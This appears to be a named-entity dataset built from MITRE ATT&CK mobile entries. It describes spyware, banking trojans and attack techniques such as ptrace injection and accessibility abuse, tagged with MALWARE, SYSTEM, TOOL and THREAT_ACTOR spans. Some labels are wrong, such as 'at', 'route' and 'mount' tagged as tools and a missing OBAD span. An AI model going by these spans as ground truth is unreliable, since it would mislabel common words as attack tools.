{"text": "Concipit1248 is iOS spyware that was discovered using the same name as the developer of the Android spyware Corona Updates. Further investigation revealed that the two pieces of software contained the same C2 URL and similar functionality.", "spans": {"MALWARE: Concipit1248": [[0, 12]], "SYSTEM: iOS": [[16, 19]], "SYSTEM: Android": [[92, 99]], "MALWARE: Corona Updates": [[108, 122]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0426"}}
{"text": "RuMMS is an Android malware family.", "spans": {"MALWARE: RuMMS": [[0, 5]], "SYSTEM: Android": [[12, 19]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0313"}}
{"text": "Pegasus for Android is the Android version of malware that has reportedly been linked to the NSO Group.   The iOS version is tracked separately under Pegasus for iOS.", "spans": {"MALWARE: Pegasus for Android": [[0, 19]], "SYSTEM: Android": [[27, 34]], "SYSTEM: iOS": [[110, 113]], "MALWARE: Pegasus for iOS": [[150, 165]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0316"}}
{"text": "SpyC23 is a mobile malware that has been used by APT-C-23 since at least 2017. SpyC23 has been observed primarily targeting Android devices in the Middle East. \n\nThere are multiple close variants of SpyC23, such as VAMP, GnatSpy, Desert Scorpion and FrozenCell, which add some additional functionality but are not significantly different from the original malware.", "spans": {"MALWARE: SpyC23": [[0, 6], [79, 85], [199, 205]], "THREAT_ACTOR: APT-C-23": [[49, 57]], "TOOL: at": [[64, 66]], "SYSTEM: Android": [[124, 131]], "MALWARE: Desert Scorpion": [[230, 245]], "MALWARE: FrozenCell": [[250, 260]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1195"}}
{"text": "FrozenCell is the mobile component of a family of surveillanceware, with a corresponding desktop component known as KasperAgent and Micropsia. \n\nThere are multiple close variants of FrozenCell, such as VAMP, GnatSpy, Desert Scorpion and SpyC23, which add some additional functionality but are not significantly different from the original malware.", "spans": {"MALWARE: FrozenCell": [[0, 10], [182, 192]], "MALWARE: Micropsia": [[132, 141]], "MALWARE: Desert Scorpion": [[217, 232]], "MALWARE: SpyC23": [[237, 243]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0577"}}
{"text": "AndroidOS/MalLocker.B is a variant of a ransomware family targeting Android devices. It prevents the user from interacting with the UI by displaying a screen containing a ransom note over all other windows.", "spans": {"MALWARE: AndroidOS/MalLocker.B": [[0, 21]], "SYSTEM: Android": [[68, 75]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0524"}}
{"text": "SharkBot is a banking malware, first discovered in October 2021, that tries to initiate money transfers directly from compromised devices by abusing Accessibility Services.", "spans": {"MALWARE: SharkBot": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1055"}}
{"text": "RedDrop is an Android malware family that exfiltrates sensitive data from devices.", "spans": {"MALWARE: RedDrop": [[0, 7]], "SYSTEM: Android": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0326"}}
{"text": "CHEMISTGAMES is a modular backdoor that has been deployed by Sandworm Team.", "spans": {"MALWARE: CHEMISTGAMES": [[0, 12]], "THREAT_ACTOR: Sandworm Team": [[61, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0555"}}
{"text": "YiSpecter is a family of iOS and Android malware, first detected in November 2014, targeting users in mainland China and Taiwan. YiSpecter abuses private APIs in iOS to infect both jailbroken and non-jailbroken devices.", "spans": {"MALWARE: YiSpecter": [[0, 9], [129, 138]], "SYSTEM: iOS": [[25, 28], [162, 165]], "SYSTEM: Android": [[33, 40]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0311"}}
{"text": "Trojan-SMS.AndroidOS.Agent.ao is Android malware.", "spans": {"MALWARE: Trojan-SMS.AndroidOS.Agent.ao": [[0, 29]], "SYSTEM: Android": [[33, 40]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0307"}}
{"text": "BOULDSPY is an Android malware, detected in early 2023, with surveillance and remote-control capabilities. Analysis of exfiltrated C2 data suggests that BOULDSPY primarily targeted minority groups in Iran.", "spans": {"MALWARE: BOULDSPY": [[0, 8], [153, 161]], "SYSTEM: Android": [[15, 22]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1079"}}
{"text": "Anubis is Android malware that was originally used for cyber espionage, and has been retooled as a banking trojan.", "spans": {"MALWARE: Anubis": [[0, 6]], "SYSTEM: Android": [[10, 17]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0422"}}
{"text": "AndroRAT is an open-source remote access tool for Android devices. AndroRAT is capable of collecting data, such as device location, call logs, etc., and is capable of executing actions, such as sending SMS messages and taking pictures. It is originally available through the `The404Hacking` Github repository.", "spans": {"MALWARE: AndroRAT": [[0, 8], [67, 75]], "SYSTEM: Android": [[50, 57]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0292"}}
{"text": "Agent Smith is mobile malware that generates financial gain by replacing legitimate applications on devices with malicious versions that include fraudulent ads. As of July 2019 Agent Smith had infected around 25 million devices, primarily targeting India though effects had been observed in other Asian countries as well as Saudi Arabia, the United Kingdom, and the United States.", "spans": {"MALWARE: Agent Smith": [[0, 11], [177, 188]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0440"}}
{"text": "Asacub is a banking trojan that attempts to steal money from victims’ bank accounts. It attempts to do this by initiating a wire transfer via SMS message from compromised devices.", "spans": {"MALWARE: Asacub": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0540"}}
{"text": "GPlayed is an Android trojan with a broad range of capabilities.", "spans": {"MALWARE: GPlayed": [[0, 7]], "SYSTEM: Android": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0536"}}
{"text": "EventBot is an Android banking trojan and information stealer that abuses Android’s accessibility service to steal data from various applications. EventBot was designed to target over 200 different banking and financial applications, the majority of which are European bank and cryptocurrency exchange applications.", "spans": {"MALWARE: EventBot": [[0, 8], [147, 155]], "SYSTEM: Android": [[15, 22], [74, 81]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0478"}}
{"text": "HenBox is Android malware that attempts to only execute on Xiaomi devices running the MIUI operating system. HenBox has primarily been used to target Uyghurs, a minority Turkic ethnic group.", "spans": {"MALWARE: HenBox": [[0, 6], [109, 115]], "SYSTEM: Android": [[10, 17]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0544"}}
{"text": "Binary Validator is a Mach-O binary file used during Operation Triangulation. Binary Validator first collects information about the device, such as the device's phone number and a list of installed applications, before the deployment of the TriangleDB implant.  After the actions are completed and the data is collected, Binary Validator encrypts and sends the data to the C2 server, and in turn, the C2 server sends the TriangleDB implant.", "spans": {"MALWARE: Binary Validator": [[0, 16], [78, 94], [321, 337]], "THREAT_ACTOR: Operation Triangulation": [[53, 76]], "MALWARE: TriangleDB": [[241, 251], [421, 431]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1215"}}
{"text": "GodFather is an Android banking malware that uses virtualization to mimic legitimate applications and abuses accessibility services and other permissions to evade detection and exfiltrate sensitive data. First identified in 2020, GodFather targets nearly 500 banking applications, cryptocurrency wallets, and exchanges worldwide; however, its virtualization-based attacks have primarily focused on several Turkish financial institutions. This capability enables threat actors to steal banking credentials and other sensitive account information.", "spans": {"MALWARE: GodFather": [[0, 9], [230, 239]], "SYSTEM: Android": [[16, 23]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1231"}}
{"text": "Riltok is banking malware that uses phishing popups to collect user credentials.", "spans": {"MALWARE: Riltok": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0403"}}
{"text": "GolfSpy is Android spyware deployed by the group Bouncing Golf.", "spans": {"MALWARE: GolfSpy": [[0, 7]], "SYSTEM: Android": [[11, 18]], "THREAT_ACTOR: Bouncing Golf": [[49, 62]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0421"}}
{"text": "Pallas is mobile surveillanceware that was custom-developed by Dark Caracal.", "spans": {"MALWARE: Pallas": [[0, 6]], "THREAT_ACTOR: Dark Caracal": [[63, 75]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0399"}}
{"text": "Circles reportedly takes advantage of Signaling System 7 (SS7) weaknesses, the protocol suite used to route phone calls, to both track the location of mobile devices and intercept voice calls and SMS messages. It can be connected to a telecommunications company’s infrastructure or purchased as a cloud service. Circles has reportedly been linked to the NSO Group.", "spans": {"MALWARE: Circles": [[0, 7], [312, 319]], "TOOL: route": [[102, 107]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0602"}}
{"text": "Tiktok Pro is spyware that has been masquerading as the TikTok application.", "spans": {"MALWARE: Tiktok Pro": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0558"}}
{"text": "PJApps is an Android malware family.", "spans": {"MALWARE: PJApps": [[0, 6]], "SYSTEM: Android": [[13, 20]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0291"}}
{"text": "ShiftyBug is an auto-rooting adware family of malware for Android. The family is very similar to the other Android families known as Shedun, Shuanet, Kemoge, though it is not believed all the families were created by the same group.", "spans": {"MALWARE: ShiftyBug": [[0, 9]], "SYSTEM: Android": [[58, 65], [107, 114]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0294"}}
{"text": "HummingBad is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android.", "spans": {"MALWARE: HummingBad": [[0, 10]], "SYSTEM: Android": [[26, 33], [163, 170]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0322"}}
{"text": "Exobot is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.", "spans": {"MALWARE: Exobot": [[0, 6]], "SYSTEM: Android": [[10, 17]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0522"}}
{"text": "OBAD is an Android malware family.", "spans": {"SYSTEM: Android": [[11, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0286"}}
{"text": "FjordPhantom is a malicious Android application first discovered in September 2024 with targets in Southeast Asia, specifically Indonesia, Thailand, and Vietnam. FjordPhantom was distributed through email and messaging applications. Once installed, the application launches a virtualization solution to steal important information, such as bank accounts, and to manipulate the user interface. The malicious activity from the virtualization solution runs alongside legitimate banking applications.", "spans": {"MALWARE: FjordPhantom": [[0, 12], [162, 174]], "SYSTEM: Android": [[28, 35]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1208"}}
{"text": "Android/Chuli.A is Android malware that was delivered to activist groups via a spearphishing email with an attachment.", "spans": {"MALWARE: Android/Chuli.A": [[0, 15]], "SYSTEM: Android": [[19, 26]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0304"}}
{"text": "Charger is Android malware that steals steals contacts and SMS messages from the user's device. It can also lock the device and demand ransom payment if it receives admin permissions.", "spans": {"MALWARE: Charger": [[0, 7]], "SYSTEM: Android": [[11, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0323"}}
{"text": "Drinik is an evolving Android banking trojan that was observed targeting customers of around 27 banks in India in August 2021. Initially seen as an SMS stealer in 2016, Drinik resurfaced as a banking trojan with more advanced capabilities included in subsequent versions between September 2021 and August 2022.", "spans": {"MALWARE: Drinik": [[0, 6], [169, 175]], "SYSTEM: Android": [[22, 29]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1054"}}
{"text": "Trojan-SMS.AndroidOS.OpFake.a is Android malware.", "spans": {"MALWARE: Trojan-SMS.AndroidOS.OpFake.a": [[0, 29]], "SYSTEM: Android": [[33, 40]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0308"}}
{"text": "XcodeGhost is iOS malware that infected at least 39 iOS apps in 2015 and potentially affected millions of users.", "spans": {"MALWARE: XcodeGhost": [[0, 10]], "SYSTEM: iOS": [[14, 17], [52, 55]], "TOOL: at": [[40, 42]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0297"}}
{"text": "SilkBean is a piece of Android surveillanceware containing comprehensive remote access tool (RAT) functionality that has been used in targeting of the Uyghur ethnic group.", "spans": {"MALWARE: SilkBean": [[0, 8]], "SYSTEM: Android": [[23, 30]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0549"}}
{"text": "WolfRAT is malware based on a leaked version of Dendroid that has primarily targeted Thai users. WolfRAT has most likely been operated by the now defunct organization Wolf Research.", "spans": {"MALWARE: WolfRAT": [[0, 7], [97, 104]], "MALWARE: Dendroid": [[48, 56]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0489"}}
{"text": "BusyGasper is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.", "spans": {"MALWARE: BusyGasper": [[0, 10]], "SYSTEM: Android": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0655"}}
{"text": "BrainTest is a family of Android malware.", "spans": {"MALWARE: BrainTest": [[0, 9]], "SYSTEM: Android": [[25, 32]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0293"}}
{"text": "TERRACOTTA is an ad fraud botnet that has been capable of generating over 2 billion fraudulent requests per week.", "spans": {"MALWARE: TERRACOTTA": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0545"}}
{"text": "Escobar is an Android banking trojan, first detected in March 2021, believed to be a new variant of AbereBot.", "spans": {"MALWARE: Escobar": [[0, 7]], "SYSTEM: Android": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1092"}}
{"text": "Android/SpyAgent is a variant of spyware in the MoqHao phishing campaign primarily targeting Korean and Japanese users. Fake security applications were used to target Japanese users, while fake police applications were used to target Korean users. Both fake applications have common C2 commands and share the same crash report key on a cloud service.", "spans": {"MALWARE: Android/SpyAgent": [[0, 16]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1214"}}
{"text": "Triada was first reported in 2016 as a second stage malware. Later versions in 2019 appeared with new techniques and as an initial downloader of other Trojan apps.", "spans": {"MALWARE: Triada": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0424"}}
{"text": "Golden Cup is Android spyware that has been used to target World Cup fans.", "spans": {"MALWARE: Golden Cup": [[0, 10]], "SYSTEM: Android": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0535"}}
{"text": "FluBot is a multi-purpose mobile banking malware that was first observed in Spain in late 2020. It primarily spread through European countries using a variety of SMS phishing messages in multiple languages. An international law enforcement operation of 11 countries eventually disrupted the spread of FluBot.", "spans": {"MALWARE: FluBot": [[0, 6], [301, 307]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1067"}}
{"text": "ViperRAT is sophisticated surveillanceware that has been in operation since at least 2015 and was used to target the Israeli Defense Force.", "spans": {"MALWARE: ViperRAT": [[0, 8]], "TOOL: at": [[76, 78]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0506"}}
{"text": "Adups is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server.", "spans": {"MALWARE: Adups": [[0, 5]], "SYSTEM: Android": [[46, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0309"}}
{"text": "SimBad was a strain of adware on the Google Play Store, distributed through the RXDroider Software Development Kit. The name \"SimBad\" was derived from the fact that most of the infected applications were simulator games. The adware was controlled using an instance of the open source framework Parse Server.", "spans": {"MALWARE: SimBad": [[0, 6], [126, 132]], "ORGANIZATION: Google": [[37, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0419"}}
{"text": "Android/AdDisplay.Ashas is a variant of adware that has been distributed through multiple apps in the Google Play Store.", "spans": {"MALWARE: Android/AdDisplay.Ashas": [[0, 23]], "ORGANIZATION: Google": [[102, 108]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0525"}}
{"text": "Phenakite is a mobile malware that is used by APT-C-23 to target iOS devices. According to several reports, Phenakite was developed to fill a tooling gap and to target those who owned iPhones instead of Windows desktops or Android phones.", "spans": {"MALWARE: Phenakite": [[0, 9], [108, 117]], "THREAT_ACTOR: APT-C-23": [[46, 54]], "SYSTEM: iOS": [[65, 68]], "SYSTEM: Windows": [[203, 210]], "SYSTEM: Android": [[223, 230]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1126"}}
{"text": "TianySpy is a mobile malware primarily spread by SMS phishing between September 30 and October 12, 2021. TianySpy is believed to have targeted credentials associated with membership websites of major Japanese telecommunication services.", "spans": {"MALWARE: TianySpy": [[0, 8], [105, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1056"}}
{"text": "Sunbird is one of two mobile malware families known to be used by the APT Confucius.  Analysis suggests that Sunbird was first active in early 2017. While Sunbird and Hornbill overlap in core capabilities, Sunbird has a more extensive set of malicious features.", "spans": {"MALWARE: Sunbird": [[0, 7], [109, 116], [155, 162], [206, 213]], "THREAT_ACTOR: Confucius": [[74, 83]], "MALWARE: Hornbill": [[167, 175]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1082"}}
{"text": "DressCode is an Android malware family.", "spans": {"MALWARE: DressCode": [[0, 9]], "SYSTEM: Android": [[16, 23]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0300"}}
{"text": "Gustuff is mobile malware designed to steal users' banking and virtual currency credentials.", "spans": {"MALWARE: Gustuff": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0406"}}
{"text": "FlexiSpy is sophisticated surveillanceware for iOS and Android. Publicly-available, comprehensive analysis has only been found for the Android version.\n\nFlexiSpy markets itself as a parental control and employee monitoring application.", "spans": {"MALWARE: FlexiSpy": [[0, 8], [153, 161]], "SYSTEM: iOS": [[47, 50]], "SYSTEM: Android": [[55, 62], [135, 142]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0408"}}
{"text": "Xbot is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia.", "spans": {"MALWARE: Xbot": [[0, 4]], "SYSTEM: Android": [[11, 18], [80, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0298"}}
{"text": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval.\n\nOn Android, the `WorkManager` API allows asynchronous tasks to be scheduled with the system. `WorkManager` was introduced to unify task scheduling on Android, using `JobScheduler`, `GcmNetworkManager`, and `AlarmManager` internally. `WorkManager` offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).\n\nOn iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.", "spans": {"SYSTEM: Android": [[119, 126], [247, 254], [394, 401]], "SYSTEM: iOS": [[131, 134], [634, 637]], "TOOL: at": [[203, 205]], "SYSTEM: API": [[274, 277], [675, 678]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1603"}}
{"text": "Adversaries may attempt to position themselves between two or more networked devices to support follow-on behaviors such as Transmitted Data Manipulation or Endpoint Denial of Service.  \n\n \n\nAdversary-in-the-Middle can be achieved through several mechanisms. For example, a malicious application may register itself as a VPN client, effectively redirecting device traffic to adversary-owned resources. Registering as a VPN client requires user consent on both Android and iOS; additionally, a special entitlement granted by Apple is needed for iOS devices. Alternatively, a malicious application with escalation privileges may utilize those privileges to gain access to network traffic.   \n\n\n Specific to Android devices, adversary-in-the-disk is a type of AiTM attack where adversaries monitor and manipulate data that is exchanged between applications and external storage. To accomplish this, a malicious application firsts requests for access to multimedia files on the device (`READ_EXTERNAL STORAGE` and `WRITE_EXTERNAL_STORAGE`), then the application reads data on the device and/or writes malware to the device. Though the request for access is common, when used maliciously, adversaries may access files and other sensitive data due to abusing the permission. Multiple applications were shown to be vulnerable against this attack; however, scrutiny of permissions and input validations may mitigate this attack.    \n\nOutside of a mobile device, adversaries may be able to capture traffic by employing a rogue base station or Wi-Fi access point. These devices will allow adversaries to capture network traffic after it has left the device, while it is flowing to its destination. On a local network, enterprise techniques could be used, such as ARP Cache Poisoning or DHCP Spoofing.  \n\n \n\nIf applications properly encrypt their network traffic, sensitive data may not be accessible to adversaries, depending on the point of capture. For example, properly implementing Apple’s Application Transport Security (ATS) and Android’s Network Security Configuration (NSC) may prevent sensitive data leaks.", "spans": {"SYSTEM: Android": [[460, 467], [705, 712], [2025, 2032]], "SYSTEM: iOS": [[472, 475], [544, 547]], "ORGANIZATION: Apple": [[524, 529], [1976, 1981]], "SYSTEM: DHCP": [[1776, 1780]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1638"}}
{"text": "Adversaries may circumvent mechanisms designed to control elevated privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can gain on a machine. Authorization has to be granted to specific users in order to perform tasks that are designated as higher risk. An adversary can use several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1626"}}
{"text": "Adversaries may use legitimate remote access software, such as `VNC`, `TeamViewer`, `AirDroid`, `AirMirror`, etc., to establish an interactive command and control channel to target mobile devices.  \n\nRemote access applications may be installed and used post-compromise as an alternate communication channel for redundant access or as a way to establish an interactive remote session with the target device. They may also be used as a component of malware to establish a reverse connection to an adversary-controlled system or service. Installation of remote access tools may also include persistence.", "spans": {"TOOL: VNC": [[64, 67]], "TOOL: TeamViewer": [[71, 81]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1663"}}
{"text": "Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by: \n \n* Abusing device owner permissions to perform silent uninstallation using device owner API calls. \n* Abusing root permissions to delete files from the filesystem. \n* Abusing the accessibility service. This requires sending an intent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.", "spans": {"SYSTEM: API": [[223, 226]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1630.001"}}
{"text": "Adversaries may delete, alter, or hide generated artifacts on a device, including files, jailbreak status, or the malicious application itself. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of mobile security solutions by causing notable events or information to go unreported.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1630"}}
{"text": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.  Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency, specifically with the widespread usage of third-party advertising libraries.", "spans": {"TOOL: at": [[190, 192]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1474"}}
{"text": "Adversaries may exploit the lack of authentication in signaling system network nodes to track the location of mobile devices by impersonating a node. \n\n \n\nBy providing the victim’s MSISDN (phone number) and impersonating network internal nodes to query subscriber information from other nodes, adversaries may use data collected from each hop to eventually determine the device’s geographical cell area or nearest cell tower.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1430.002"}}
{"text": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by giving artifacts the name and icon of a legitimate, trusted application (i.e., Settings), or using a package name that matches legitimate, trusted applications (i.e., `com.google.android.gm`). \n\nAdversaries may also use the same icon of the file or application they are trying to mimic.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1655.001"}}
{"text": "Adversaries may utilize standard operating system APIs to collect data from permission-backed data stores on a device, such as the calendar or contact list. These permissions need to be declared ahead of time. On Android, they must be included in the application’s manifest. On iOS, they must be included in the application’s `Info.plist` file.  \n\n \n\nIn almost all cases, the user is required to grant access to the data store that the application is trying to access. In recent OS versions, vendors have introduced additional privacy controls for users, such as the ability to grant permission to an application only while the application is being actively used by the user. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access Protected User Data without the user’s knowledge or approval.", "spans": {"SYSTEM: Android": [[213, 220]], "SYSTEM: iOS": [[278, 281]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1636"}}
{"text": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private that should not be distributed. Due to how asymmetric algorithms work, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA, ElGamal, and ECDSA.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.", "spans": {"SYSTEM: SSL": [[715, 718]], "SYSTEM: TLS": [[719, 722]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1521.002"}}
{"text": "Adversaries may attempt to get a listing of applications that are installed on a device. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempts specific actions. \n\n \n\nAdversaries may attempt to enumerate applications for a variety of reasons, such as figuring out what security measures are present or to identify the presence of target applications.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1418"}}
{"text": "Adversaries may attempt to get information about running processes on a device. Information obtained could be used to gain an understanding of common software/applications running on devices within a network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. \n\n \n\nRecent Android security enhancements have made it more difficult to obtain a list of running processes. On Android 7 and later, there is no way for an application to obtain the process list without abusing elevated privileges. This is due to the Android kernel utilizing the `hidepid` mount feature. Prior to Android 7, applications could utilize the `ps` command or examine the `/proc` directory on the device. \n\n \n\nIn iOS, applications have previously been able to use the `sysctl` command to obtain a list of running processes. This functionality has been removed in later iOS versions.", "spans": {"SYSTEM: Android": [[435, 442], [535, 542], [674, 681], [737, 744]], "TOOL: mount": [[713, 718]], "TOOL: ps": [[780, 782]], "SYSTEM: iOS": [[848, 851], [1004, 1007]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1424"}}
{"text": "Adversaries may utilize standard operating system APIs to gather call log data. On Android, this can be accomplished using the Call Log Content Provider. iOS provides no standard API to access the call log. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access the Call Log without the user’s knowledge or approval.", "spans": {"SYSTEM: Android": [[83, 90]], "SYSTEM: iOS": [[154, 157]], "SYSTEM: API": [[179, 182]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1636.002"}}
{"text": "Adversaries may attempt to get a listing of security applications and configurations that are installed on a device. This may include things such as mobile security products. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempt specific actions.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1418.001"}}
{"text": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.  \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values. Ptrace system call injection is commonly performed by writing arbitrary code into a running process (e.g., by using `malloc`) then invoking that memory with `PTRACE_SETREGS` to set the register containing the next instruction to execute. Ptrace system call injection can also be done with `PTRACE_POKETEXT`/`PTRACE_POKEDATA`, which copy data to a specific address in the target process's memory (e.g., the current address of the next instruction).  \n\nPtrace system call injection may not be possible when targeting processes with high-privileges, and on some systems those that are non-child processes.  \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1631.001"}}
{"text": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may span both native defenses as well as supplemental capabilities installed by users or mobile endpoint administrators.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1629"}}
{"text": "Adversaries may abuse accessibility features in Android devices to steal sensitive data and to spread malware to other devices. Accessibility features in Android are designed to assist users with disabilities, performing a variety of tasks, such as using Action Blocks to control lightbulbs, and changing the device’s user interface, such as changing the font size and adjusting contract or colors. \n\nOne example of how adversaries abuse accessibility features is overlaying an HTML object mimicking a legitimate login screen. The user types their credentials in the overlay HTML object, which is then sent to the adversaries.  \n\nAnother example is a malicious accessibility feature acting as a keylogger. The keylogger monitors changes on the EditText fields and sends it to the adversaries. This method of attack is also described in Keylogging; whereas Abuse Accessibility Features captures the overall abuse of accessibility features.", "spans": {"SYSTEM: Android": [[48, 55], [154, 161]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1453"}}
